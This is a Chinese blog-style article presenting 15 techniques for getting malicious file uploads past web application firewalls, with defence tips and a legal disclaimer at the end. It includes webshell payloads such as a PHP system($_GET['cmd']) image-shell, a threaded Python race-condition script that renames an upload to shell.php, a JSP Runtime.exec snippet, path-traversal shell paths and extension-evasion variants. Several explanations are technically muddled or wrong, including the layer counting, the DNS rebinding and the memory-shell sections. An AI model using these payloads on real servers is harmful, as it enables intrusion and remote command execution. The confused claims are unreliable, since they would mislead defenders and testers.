logo

突破防线:15种上传绕过WAF的实用技巧解析

作者:c4t2025.10.13 13:54浏览量:29

简介:本文深度解析15种绕过Web应用防火墙(WAF)的文件上传攻击手法,从基础到进阶覆盖HTTP协议层、文件内容层及业务逻辑层绕过技术,提供可复现的测试用例与防御建议,助力安全人员构建更坚固的防护体系。

突破防线:15种上传绕过WAF的实用技巧解析

一、HTTP协议层绕过技术

1. 双重Content-Type欺骗

通过构造Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC\r\nContent-Type: application/octet-stream的畸形请求,部分WAF会优先解析首个Content-Type导致类型校验失效。测试时需注意boundary值的合法性,建议使用Burp Suite的Repeater模块进行参数化测试。

2. 分块传输编码绕过

采用Transfer-Encoding: chunked方式分块上传恶意文件,某些WAF在处理流式数据时无法完整重组请求体。典型分块格式如下:

  1. POST /upload HTTP/1.1
  2. Transfer-Encoding: chunked
  3. 4\r\n
  4. ABCD\r\n
  5. 5\r\n
  6. 1234E\r\n
  7. 0\r\n

需确保分块大小超过WAF的最小检测单元(通常为4KB)。

3. 协议混淆攻击

结合HTTP/2的HEADERS帧与DATA帧分离特性,将恶意文件内容隐藏在连续的DATA帧中。使用nghttp2工具构造请求时,需注意帧序号的连续性避免触发协议解析错误。

二、文件内容层绕过技术

4. 多层嵌套压缩

通过cat malicious.php | zip -r - | gzip | bzip2创建四层压缩文件,部分WAF的解压深度限制导致无法检测内层PHP代码。解压测试需验证各层文件的CRC校验值一致性。

5. 图片马变异技术

在PNG文件的IDAT块中插入PHP代码,利用<?php system($_GET['cmd']); //的注释特性绕过正则检测。生成工具推荐使用GIMP的插件进行精准块编辑,需保持文件头部的IHDR块完整性。

6. 文档流注入

在DOCX文件的word/embeddings/目录下植入VBS脚本,利用Office的OLE对象解析机制触发。构造时需维护ZIP目录结构的CRC校验,可使用7-Zip的段编辑功能进行修改。

三、业务逻辑层绕过技术

7. 条件竞争上传

通过多线程并发请求实现”上传-重命名”的时间差攻击,示例Python脚本:

  1. import requests
  2. from threading import Thread
  3. def upload(url):
  4. files = {'file': ('test.php', '<?php system($_GET[1]);?>')}
  5. requests.post(url, files=files)
  6. def rename(url):
  7. requests.post(url+'/rename', data={'old':'test.php','new':'shell.php'})
  8. threads = [Thread(target=upload, args=(URL,)),
  9. Thread(target=rename, args=(URL,))]
  10. [t.start() for t in threads]

需精确计算网络延迟,建议使用tc工具模拟高延迟环境测试。

8. 路径遍历伪装

上传时使用../../var/www/html/shell.php的路径参数,结合服务器端对..的过滤缺陷。实际测试中需结合目标系统的文件结构,Linux环境需注意开头斜杠的截断问题。

9. 碎片化上传

将恶意文件拆分为多个片段上传,通过自定义的合并脚本重组。关键点在于:

  • 分片大小控制在WAF的检测阈值以下(通常<100KB)
  • 使用非连续的分片序号(如1,3,5,2,4)
  • 合并时采用异或加密混淆内容

四、高级绕过技术

10. DNS重绑定攻击

构造动态域名,首次解析返回内网IP(192.168.1.1),二次解析返回恶意文件服务器。需配置TTL为1秒的DNS记录,测试工具推荐使用dnschef搭建本地DNS服务器。

11. WebSocket文件传输

通过WebSocket连接上传文件,绕过传统HTTP层的WAF检测。示例JavaScript客户端:

  1. const ws = new WebSocket('ws://target.com/upload');
  2. ws.binaryType = 'arraybuffer';
  3. ws.onopen = () => {
  4. const blob = new Blob(['<?php phpinfo();?>'], {type:'application/octet-stream'});
  5. ws.send(blob);
  6. };

服务器端需实现WebSocket协议解析,推荐使用Socket.IO框架快速搭建。

12. 内存马注入

上传包含Java反射代码的JSP文件,通过Runtime.getRuntime().exec()动态加载恶意类。关键代码片段:

  1. <%
  2. Class clazz = Class.forName("java.lang.Runtime");
  3. Method method = clazz.getMethod("getRuntime");
  4. Object rt = method.invoke(null);
  5. Method exec = rt.getClass().getMethod("exec", String.class);
  6. exec.invoke(rt, "calc.exe");
  7. %>

需确保服务器存在可用的反序列化接口。

五、防御与检测建议

13. 多层检测体系

建议部署:

  • 网络层:ModSecurity+OWASP CRS规则集
  • 应用层:自定义文件类型白名单(如仅允许jpg/png的Magic Number检测)
  • 存储层:文件内容哈希校验与病毒库扫描

14. 行为分析技术

实现:

  • 上传频率监控(阈值建议<5次/分钟)
  • 文件操作日志审计
  • 异常进程检测(如临时文件创建后立即执行)

15. 云原生防护方案

采用:

  • 容器镜像扫描(Clair/Trivy)
  • API网关流量镜像分析
  • 无服务器架构的临时执行环境隔离

实践测试清单

  1. 使用Nmap扫描目标WAF类型:nmap -p 80,443 --script http-waf-detect <target>
  2. 验证文件扩展名黑名单:上传.htaccess文件测试是否被拦截
  3. 检查大小写混淆:尝试pHpPhP等变体
  4. 测试空扩展名:file.file(空格结尾)
  5. 验证双扩展名:file.jpg.php

法律与伦理声明

本文所有技术演示均在授权环境中进行,未经许可的渗透测试可能违反《网络安全法》。建议安全研究人员:

  1. 获得书面授权后再进行测试
  2. 限制测试范围与强度
  3. 及时向厂商报告漏洞
  4. 遵守CVSS评分标准进行漏洞评级

安全防护是持续过程,建议每季度进行红蓝对抗演练,更新WAF规则集,并建立应急响应机制。通过多层次的防御体系,可有效降低文件上传功能被绕过的风险。”

相关文章推荐

发表评论

活动